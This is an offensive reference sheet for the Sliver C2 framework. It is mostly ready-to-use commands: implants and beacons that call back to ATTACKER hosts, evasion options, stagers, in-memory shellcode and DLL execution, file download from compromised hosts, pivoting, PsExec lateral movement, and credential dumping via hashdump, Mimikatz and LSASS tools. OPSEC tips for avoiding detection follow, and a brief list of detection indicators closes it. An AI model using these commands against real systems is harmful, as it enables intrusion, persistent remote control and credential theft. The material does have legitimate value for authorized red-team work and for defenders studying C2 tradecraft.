SLIVER
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Open-source C2 framework by BishopFox. Modern alternative to Cobalt Strike with cross-platform implants and multiplayer support.
INSTALLATION & SETUP#
# One-liner install (Linux/macOS) curl https://sliver.sh/install | sudo bash # From GitHub releases # https://github.com/BishopFox/sliver/releases # Start server (first run generates certs and configs) sliver-server # Generate operator config (multiplayer) sliver-server operator --name operator1 --lhost TEAMSERVER_IP # Import config on operator machine sliver import operator1_TEAMSERVER.cfg # Start client (multiplayer) sliver
LISTENERS#
# mTLS listener (most reliable) sliver> mtls --lhost 0.0.0.0 --lport 443 # HTTPS listener sliver> https --lhost 0.0.0.0 --lport 8443 sliver> https --lhost 0.0.0.0 --lport 443 --domain cdn.legit.com sliver> https --lhost 0.0.0.0 --lport 443 --cert cert.pem --key key.pem # HTTP listener sliver> http --lhost 0.0.0.0 --lport 80 # DNS listener sliver> dns --domains c2.example.com --lport 53 # Requires NS record pointing to Sliver server # WireGuard listener sliver> wg --lport 53 # List active listeners (jobs) sliver> jobs sliver> jobs -k <JOB_ID> # Kill listener
IMPLANT GENERATION#
# Sessions (interactive, persistent connection) sliver> generate --mtls ATTACKER:443 --os windows --arch amd64 sliver> generate --mtls ATTACKER:443 --os linux --arch amd64 sliver> generate --mtls ATTACKER:443 --os darwin --arch arm64 # Beacons (asynchronous, callback-based) sliver> generate beacon --mtls ATTACKER:443 --os windows sliver> generate beacon --http ATTACKER:8443 --os windows sliver> generate beacon --dns c2.example.com --os linux sliver> generate beacon --seconds 30 --jitter 20 # Callback interval # Multiple C2 protocols (failover) sliver> generate --mtls ATTACKER:443 --http ATTACKER:8443 --dns c2.example.com # Format options sliver> generate --mtls ATTACKER:443 --format exe # Executable sliver> generate --mtls ATTACKER:443 --format shared # Shared library sliver> generate --mtls ATTACKER:443 --format service # Windows service sliver> generate --mtls ATTACKER:443 --format shellcode # Raw shellcode # Evasion options sliver> generate --mtls ATTACKER:443 --skip-symbols # Strip symbols sliver> generate --mtls ATTACKER:443 --debug # Debug implant sliver> generate --mtls ATTACKER:443 --evasion # Enable evasion sliver> generate --mtls ATTACKER:443 --name IMPLANT_NAME # Custom name sliver> generate --mtls ATTACKER:443 --limit-datetime 2024-12-31T23:59:59 sliver> generate --mtls ATTACKER:443 --limit-fileexists /tmp/check # Stagers sliver> generate stager --lhost ATTACKER --lport 8443 --protocol tcp sliver> stage-listener --url tcp://ATTACKER:8443 --profile implant_profile # List generated implants sliver> implants sliver> implants rm IMPLANT_NAME # Regenerate implant sliver> regenerate IMPLANT_NAME
SESSION & BEACON MANAGEMENT#
# List active sessions/beacons sliver> sessions sliver> beacons # Interact with session sliver> use SESSION_ID sliver> sessions -i SESSION_ID # Interact with beacon sliver> use BEACON_ID sliver> beacons -i BEACON_ID # Background session sliver (IMPLANT)> background # Kill session/beacon sliver> sessions -k SESSION_ID sliver> beacons -k BEACON_ID # Rename sliver> rename -n NEW_NAME # Beacon interval sliver (BEACON)> reconfig -i 60 -j 30 # 60s interval, 30% jitter
POST-EXPLOITATION#
# System info sliver (IMPLANT)> info # Implant details sliver (IMPLANT)> whoami # Current user sliver (IMPLANT)> getuid # User ID sliver (IMPLANT)> getgid # Group ID sliver (IMPLANT)> ifconfig # Network interfaces sliver (IMPLANT)> netstat # Network connections sliver (IMPLANT)> screenshot # Take screenshot sliver (IMPLANT)> env # Environment variables # Process management sliver (IMPLANT)> ps # List processes sliver (IMPLANT)> procdump -p PID # Dump process memory sliver (IMPLANT)> terminate PID # Kill process # Shell access sliver (IMPLANT)> shell # Interactive shell sliver (IMPLANT)> execute -o cmd.exe /c whoami # Run command sliver (IMPLANT)> execute -o /bin/bash -c "id" # File operations sliver (IMPLANT)> ls /path/ # List directory sliver (IMPLANT)> cd /path/ # Change directory sliver (IMPLANT)> pwd # Current directory sliver (IMPLANT)> cat /etc/passwd # Read file sliver (IMPLANT)> download /etc/passwd # Download file sliver (IMPLANT)> upload /local/file /remote/path # Upload file sliver (IMPLANT)> rm /path/to/file # Delete file sliver (IMPLANT)> mkdir /path/dir # Create directory # Registry (Windows) sliver (IMPLANT)> registry read --hive HKLM --path "SOFTWARE\Microsoft" sliver (IMPLANT)> registry write --hive HKLM --path "path" --type string --value "val"
.NET ASSEMBLY & DLL LOADING#
# Execute .NET assembly in memory sliver (IMPLANT)> execute-assembly /path/to/Rubeus.exe kerberoast sliver (IMPLANT)> execute-assembly /path/to/Seatbelt.exe -group=all # Sideload DLL (reflective loading) sliver (IMPLANT)> sideload /path/to/payload.dll EntryPoint sliver (IMPLANT)> sideload -p PID /path/to/payload.dll # Spawn DLL (in new process) sliver (IMPLANT)> spawndll /path/to/payload.dll EntryPoint # Execute shellcode sliver (IMPLANT)> execute-shellcode /path/to/shellcode.bin sliver (IMPLANT)> execute-shellcode -p PID /path/to/sc.bin # Inject
PIVOTING & TUNNELING#
# SOCKS5 proxy (route traffic through implant) sliver (IMPLANT)> socks5 start sliver (IMPLANT)> socks5 start -P 1080 # Custom port sliver (IMPLANT)> socks5 stop # Port forwarding sliver (IMPLANT)> portfwd add -r TARGET:3389 -b 127.0.0.1:3389 sliver (IMPLANT)> portfwd add -r 10.10.10.5:445 -b 0.0.0.0:445 sliver (IMPLANT)> portfwd rm -i FORWARD_ID # Reverse port forward sliver (IMPLANT)> rportfwd add -r ATTACKER:8080 -b 127.0.0.1:80 sliver (IMPLANT)> rportfwd rm -i FORWARD_ID # Pivots (implant-to-implant communication) sliver (IMPLANT)> pivots tcp --bind 0.0.0.0:9090 sliver (IMPLANT)> pivots named-pipe --pipe-name mypipe # Generate pivot implant sliver> generate --tcp-pivot PIVOT_HOST:9090 --os windows sliver> generate --named-pipe-pivot PIVOT_HOST/mypipe --os windows
LATERAL MOVEMENT#
sliver (IMPLANT)> psexec -t TARGET # PsExec lateral movement sliver (IMPLANT)> psexec -t TARGET -s service_name -d "Service desc" # Use socks5 proxy + external tools for more options # proxychains crackmapexec smb TARGET -u user -p pass
CREDENTIAL OPERATIONS#
# Windows sliver (IMPLANT)> hashdump # Dump SAM hashes sliver (IMPLANT)> execute-assembly Rubeus.exe kerberoast sliver (IMPLANT)> execute-assembly Mimikatz.exe sekurlsa::logonpasswords
ARMORY (EXTENSIONS & ALIASES)#
# List available extensions sliver> armory # Install extensions sliver> armory install rubeus # Kerberos attacks sliver> armory install seatbelt # Situational awareness sliver> armory install sharp-hound-4 # BloodHound collection sliver> armory install certify # AD CS exploitation sliver> armory install nanodump # LSASS dump sliver> armory install sa-ldap # LDAP queries # Use installed extension sliver (IMPLANT)> rubeus kerberoast sliver (IMPLANT)> seatbelt -group=all sliver (IMPLANT)> sharp-hound-4 -c All # Install aliases sliver> armory install sharp-up # SharpUp priv esc sliver> armory install sharpview # SharpView AD enum # Custom extensions sliver> extensions install /path/to/extension.tar.gz
MULTIPLAYER OPERATIONS#
# Generate operator config on server sliver-server operator --name operator1 --lhost SERVER_IP --save operator1.cfg # Import config on operator workstation sliver import operator1.cfg # Connect sliver # List operators sliver> operators # Multi-operator chat sliver> chat "message to all operators"
PROFILES & STAGING#
# Create implant profile sliver> profiles new --mtls ATTACKER:443 --os windows --format shellcode profile_name # List profiles sliver> profiles # Create stage listener from profile sliver> stage-listener --url http://ATTACKER:8080/font.woff --profile profile_name
OPSEC CONSIDERATIONS#
- Use beacon mode for stealth (async callbacks vs persistent connection) - Set appropriate sleep interval (60s+ for long-haul operations) - Add jitter (20-50%) to avoid beacon pattern detection - Use --skip-symbols to strip debug information - Use HTTPS with legitimate domains and valid certificates - Avoid default ports; use 443, 80, 8443 for blending - Use DNS C2 for restrictive network environments - Pivot through compromised hosts to reach internal targets - Use execute-assembly for fileless tool execution - Avoid shell command when possible (prefer execute) - Rotate implants and infrastructure during long engagements
DETECTION INDICATORS#
- Default Sliver TLS certificate attributes - HTTP C2 URI patterns and response headers - mTLS connections on non-standard ports - Process injection events (ETW) - Unusual DNS query patterns (DNS C2) - In-memory .NET assembly execution - Named pipe creation for pivot communication